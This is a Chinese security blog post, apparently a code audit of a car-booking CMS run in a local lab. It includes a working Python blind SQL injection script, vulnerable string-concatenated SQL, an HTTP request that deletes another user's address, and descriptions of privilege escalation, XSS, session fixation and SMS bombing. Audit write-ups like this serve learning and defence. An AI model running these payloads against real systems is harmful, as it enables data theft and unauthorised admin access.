太久没有关注各大安全博客上的内容了(当咸鱼是真的快乐呀~),今天瞎逛,发现有师傅发了一篇关于某CMS审计的文章,我的确是几个月没有审过代码了,就寻思着跟着这篇文章复现一下找找感觉,然后顺便发现了一些这个CMS的其他问题
前台快速订车功能处存在sql注入
漏洞函数位置:car-weishang-1.0.jar!/com/weishang/my/service/ShopService.class-->getGoodsListByExtendCat()
漏洞代码如下:
由上图可见,cat_ids,type_ids, brand_ids这些变量直接拼接到sql语句中,如果这些变量可控那么就存在漏洞,我们看看getGoodsListByExtendCat方法在哪里被调用了,最终找到它在com/weishang/my/action/GoodsList.java-->doGet()
方法中被调用,如下39行处:
可以看到tem_cat_id,tem_type_id, tem_brand_id等参数的值都直接来自GET请求,所以此处漏洞成立,但是由于没有回显点且无法使用报错注入,我们只能采用盲注的方式,以brand_id参数为例,写个脚本跑一跑数据库名
# -*- coding:utf-8 -*-
import requests
from string import printable
chars = printable
vul_url = "http://172.16.137.12:8080/opencarrun/goods?brand_id=1)%20or%20substr(database(),{},1)=%27{}%27%20limit%201%23&type_id=&cat_id=1&menuId=7&price=x&order=extension"
i = 0
result = ""
proxy = {'http':'http://127.0.0.1:8282'}
while True:
i += 1
temp = result
for char in chars:
target = vul_url.format(i, char)
resp = requests.get(target, proxies=proxy)
# print(resp.text)
if '预 定' in resp.text:
result += char
break
print(result)
if temp == result:
break
运行结果如下,成功跑出数据库名
后台删除外聘员工功能处存在sql注入
漏洞函数:car-weishang-1.0.jar!\com\weishang\my\admin\DeleteAunt.class-->doGet()
代码如下:
我们把目光放到第八行,可以看到adminid来自GET请求,然后adminid传入了deleteAdmin()函数,我们跟进
public String deleteAunt(String ids) {
String sql = "delete from aunt where aunt_id in (" + ids + ")";
int flag = this.jdbc.executeUpdate(sql);
this.jdbc.close();
return flag > 0 ? "ok" : "bad";
}
代码很简单,就是执行了删除操作,并且ids参数直接拼接到了sql语句,也就导致了漏洞的发生,同样的,由于没有回显且无法使用报错注入,只能用盲注的方式跑数据,这里我就不写脚本了,直接给两个验证payload
用户可通过修改address_id参数删除任意用户的收货地址
POST /opencarrun/wx/wxDeleteAddress HTTP/1.1
Host: 172.16.137.12:8080
Content-Length: 14
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://172.16.137.12:8080
Referer: http://172.16.137.12:8080/opencarrun/pc/pcUserAddress
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=6E94031AC6467DB0383D8B397550A50D; store_id=42; type_id=1; time=2020-06-11
Connection: close
address_id=694
漏洞函数:opencar/WebRoot/WEB-INF/lib/car-weishang-1.0.jar!/com/weishang/action/admin/DeleteAdmin.class-->doGet()
第8 9行,获取address_id,然后传入直接传入deleteAddress(),没有判断该地址是否属于该用户,导致漏洞发生
低权限用户可以添加、删除超级管理员账户
首先,我们在后台登陆超级管理员账户,创建一个客服级别的账号
然后我们登陆这个客服账号,默认情况下客服账号是没有任何权限的,所以,客服登陆的后台长这样
就是啥功能都没有,但是,我们可以构造添加超级管理的数据包,然后用客服的cookie发送这个数据包
登陆超级管理员账号,可以看到多了一个名为“阿信真帅yo”的超级管理员账户
除了添加管理员,删除管理员一样是存在越权的。
整个系统,没有做任何关于xss的防护,所以只要是有输入输出的地方基本都存在XSS,就拿用户添加收货地址这一功能来说,联系人处插入payload
成功弹窗,看来我是靓仔的事情瞒不住了!
还有一些小问题,比如sessionid固定(登陆前以及登陆后sessionid不变,这也是个安全隐患),还有就是用户注册处发送短信的接口可以被恶意利用实现短信轰炸,后台登陆验证码不变导致可爆破等等。
除了上面说到的具体的漏洞点以外,该系统还有很多其他地方的XSS以及SQL注入,实在是懒得写出来了,不过挖这个系统的SQL注入有个技巧,该系统基本上所有的sql操作都在WebRoot/WEB-INF/lib/weishang-1.4.jar!/com/weishang/service/AdminService.class
以及WebRoot/WEB-INF/lib/car-weishang-1.0.jar!/com/weishang/my/service/ShopService.class
这两个类里,而系统作者大多数sql语句都是使用的预编译的方式,但是有一些sql语句由于某些原因使用了直接拼接的方式,这些直接拼接的地方都是潜在的问题,我大概看了一下,直接拼接的地方还是有很多的,有兴趣的朋友可以练练手。需要该系统的可以加我vx